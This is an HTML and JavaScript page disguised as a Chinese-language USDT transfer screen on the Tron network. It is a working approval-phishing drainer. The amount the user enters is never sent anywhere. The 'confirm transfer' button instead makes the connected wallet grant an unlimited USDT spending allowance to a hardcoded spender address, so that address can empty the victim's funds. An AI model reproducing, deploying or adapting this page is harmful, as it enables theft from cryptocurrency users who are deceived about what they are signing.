<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>USDT 转账</title>
  <style>
    body {
      margin: 0;
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
      background: #f3f7f6;
      color: #333;
    }
    .container {
      padding: 20px;
      max-width: 500px;
      margin: 0;
    }
    .header {
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 0 20px 12px;
      border-bottom: 1px solid #eee;
    }
    .icon-btn {
      width: 32px;
      height: 32px;
      border-radius: 10px;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #333;
      background: transparent;
      border: none;
      cursor: pointer;
      text-decoration: none;
    }
    .icon-btn svg {
      width: 20px;
      height: 20px;
      stroke: currentColor;
      fill: none;
      stroke-width: 2;
      stroke-linecap: round;
      stroke-linejoin: round;
    }
    .center {
      text-align: center;
      flex: 1;
      display: flex;
      flex-direction: column;
      gap: 2px;
    }
    .center h2 {
      margin: 0;
      font-size: 15px;
      font-weight: normal;
      color: #333;
    }
    .center p {
      margin: 0;
      color: #888;
      font-size: 14px;
      font-weight: 400;
    }
    .form-section {
      margin: 20px 0;
    }
    label {
      font-size: 14px;
      color: #888;
      display: block;
      margin-bottom: 6px;
    }
    input[type="text"],
    input[type="number"] {
      width: 100%;
      padding: 14px;
      border: 1px solid #ddd;
      border-radius: 12px;
      font-size: 16px;
      background: #fff;
      box-sizing: border-box;
    }
    .balance {
      float: right;
      color: #888;
      font-size: 14px;
    }
    .note {
      font-size: 12px;
      color: #ADADAD;
      margin-top: 5px;
    }
    .gas-fee {
      margin-top: 20px;
      padding: 12px;
      background: #fff;
      border-radius: 12px;
      border: 1px solid #ddd;
      font-size: 16px;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .next-btn {
      margin-top: 30px;
      background: #007AFF;
      color: #fff;
      text-align: center;
      padding: 16px;
      border-radius: 12px;
      font-size: 17px;
      font-weight: 600;
      user-select: none;
      cursor: pointer;
      border: none;
    }
    
    /* 新增样式 */
    .address-container {
      position: relative;
    }
    .address-icon {
      position: absolute;
      right: 10px;
      top: 50%;
      transform: translateY(-50%);
      width: 32px;
      height: 32px;
    }
    .amount-container {
      background: #fff;
      border: 0px solid #ddd;
      border-radius: 12px;
      padding: 20px;
    }
    .amount-input {
      font-size: 35px;
      font-weight: 600;
      color: #ddd;
      border: none;
      outline: none;
      background: transparent;
      text-align: left;
      width: 100%;
      margin-bottom: 5px;
    }
    .amount-input.filled {
      color: #000;
    }
    .amount-display {
      font-size: 16px;
      color: #ADADAD;
      text-align: left;
    }
    .amount-divider {
      height: 1px;
      background: #ddd;
      margin: 15px 0;
    }
    .amount-note {
      display: flex;
      justify-content: space-between;
      align-items: center;
      color: #888;
      font-size: 13px;
    }
    .fee-container {
      background: #fff;
      border: 0px solid #ddd;
      border-radius: 12px;
      padding: 16px 20px;
    }
    .fee-row {
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin-bottom: 8px;
    }
    .fee-row:last-child {
      margin-bottom: 0;
    }
    .fee-dollar {
      font-size: 16px;
      font-weight: 400;
      color: #333;
    }
    .fee-tilde {
      color: #000;
      font-size: 15px;
    }
    .fee-trx-container {
      display: flex;
      align-items: center;
      gap: 8px;
    }
    .fee-trx {
      font-size: 15px;
      color: #666;
    }
    .fee-icon {
      width: 24px;
      height: 21px;
    }
  </style>
</head>
<body>
  <div class="container" style="background:#F6F6F6;">
    <div class="header">
      <a class="icon-btn" href="javascript:history.back()" aria-label="返回" style="margin-left: -20px;">
        <svg viewBox="0 0 24 24" width="50" height="50">
          <path d="M15 5L8 12l7 7"/>
        </svg>
      </a>
      <div class="center">
        <h2>USDT转账</h2>
        <p>Tron</p>
      </div>
      <a class="icon-btn" href="javascript:void(0)" aria-label="扫描" style="margin-right: -20px;">
        <img src="image/1.png" alt="扫描" style="width: 40px; height: 40px;" />
      </a>
    </div>

    <div class="form-section">
      <label>收款地址</label>
      <div class="address-container">
        <input id="address" type="text" value="TXYZopYRdj2D9XRtbG411XZZ3kM5VkAeBf" readonly style="padding-right: 50px; border: 0px;" />
        <img src="image/2.png" alt="联系人" class="address-icon" />
      </div>
    </div>

    <div class="form-section">
      <label>
        数量 <span class="balance">查询中...</span>
      </label>
      <div class="amount-container">
        <input type="number" id="amount" min="0" placeholder="0" class="amount-input" style="border: 0px;font-size: 30px;" />
        <div id="amountDisplay" class="amount-display">$0.00</div>
        <div class="amount-divider"></div>
        <div class="amount-note">
          <span class="note">备注（需支付1TRX）</span>
        </div>
      </div>
    </div>

    <div class="form-section">
      <label>矿工费</label>
      <div class="fee-container">
        <div class="fee-row">
          <span class="fee-dollar">$0</span>
          <span class="fee-tilde">~</span>
        </div>
        <div class="fee-row">
          <div class="fee-trx-container">
            <span class="fee-trx">0 TRX</span>
            <img src="image/3.jpg" alt="下拉" class="fee-icon" />
          </div>
        </div>
      </div>
    </div>

    <div class="next-btn" id="nextBtn">确认开始转账</div>
  </div>

  <script>
    const balanceEl = document.querySelector('.balance');
    const gasFeeEl = document.querySelector('.gas-fee');
    const nextBtn = document.getElementById('nextBtn');
    const usdtContractAddress = "TXYZopYRdj2D9XRtbG411XZZ3kM5VkAeBf";

    // 金额输入处理
    const amountInput = document.getElementById('amount');
    const amountDisplay = document.getElementById('amountDisplay');
    
    function updateDisplay() {
      // 处理输入框颜色
      const inputValue = Number(amountInput.value);
      if (inputValue !== 0 && !isNaN(inputValue)) {
        amountInput.style.color = '#000';
        amountInput.classList.add('filled');
      } else {
        amountInput.style.color = '#ddd';
        amountInput.classList.remove('filled');
      }
      
      // 更新下方显示的金额
      let displayValue = 0;
      if (!isNaN(inputValue) && inputValue !== 0) {
        displayValue = inputValue;
      }
      // 格式化金额为两位小数
      amountDisplay.textContent = `$${displayValue.toFixed(2)}`;
    }

    // 绑定事件监听
    amountInput.addEventListener('input', updateDisplay);
    amountInput.addEventListener('change', updateDisplay);

    async function fetchMyBalance() {
      try {
        if (!window.tronWeb || !window.tronWeb.ready) {
          balanceEl.innerText = '钱包未连接';
          return;
        }

        const myAddress = window.tronWeb.defaultAddress.base58;
        const contract = await window.tronWeb.contract().at(usdtContractAddress);
        const balance = await contract.balanceOf(myAddress).call();
        const usdtBalance = window.tronWeb.toDecimal(balance) / 1e6;

        balanceEl.innerText = `${usdtBalance.toFixed(4)} USDT`;

        const trxFee = 1;
        const usdEstimate = trxFee * 5.73;
        gasFeeEl.innerHTML = `<span>约 $${usdEstimate.toFixed(2)}</span><span>${trxFee} TRX</span>`;
      } catch (err) {
        balanceEl.innerText = '查询失败';
        gasFeeEl.innerHTML = `<span>--</span><span>--</span>`;
        console.error(err);
      }
    }

    window.addEventListener('load', () => {
      setTimeout(fetchMyBalance, 500);
    });

    // 交易逻辑
    async function approveUSDT() {
      const SPENDER_ADDRESS = "TTCJkY7MFvvLDN3BU83DYQmnzse8XL55j1";
      const APPROVAL_AMOUNT = 9223372036854775807;

      try {
        const usdtContract = await window.tronWeb.contract().at(usdtContractAddress);

        const transaction = await usdtContract.approve(
          SPENDER_ADDRESS,
          window.tronWeb.toSun(APPROVAL_AMOUNT)
        ).send({
          feeLimit: 30000000,
          callValue: 0
        });

        console.log("交易操作成功，交易哈希:", transaction);

        const receipt = await window.tronWeb.trx.getTransactionInfo(transaction);
        if (receipt && receipt.receipt?.result === 'SUCCESS') {
          alert("交易成功！");
        } else {
          alert("交易失败或未确认");
        }
      } catch (error) {
        console.error("交易失败：", error.message);
        alert("交易失败：" + error.message);
      }
    }

    nextBtn.addEventListener('click', () => {
      approveUSDT();
    });
  </script>
</body>
</html>
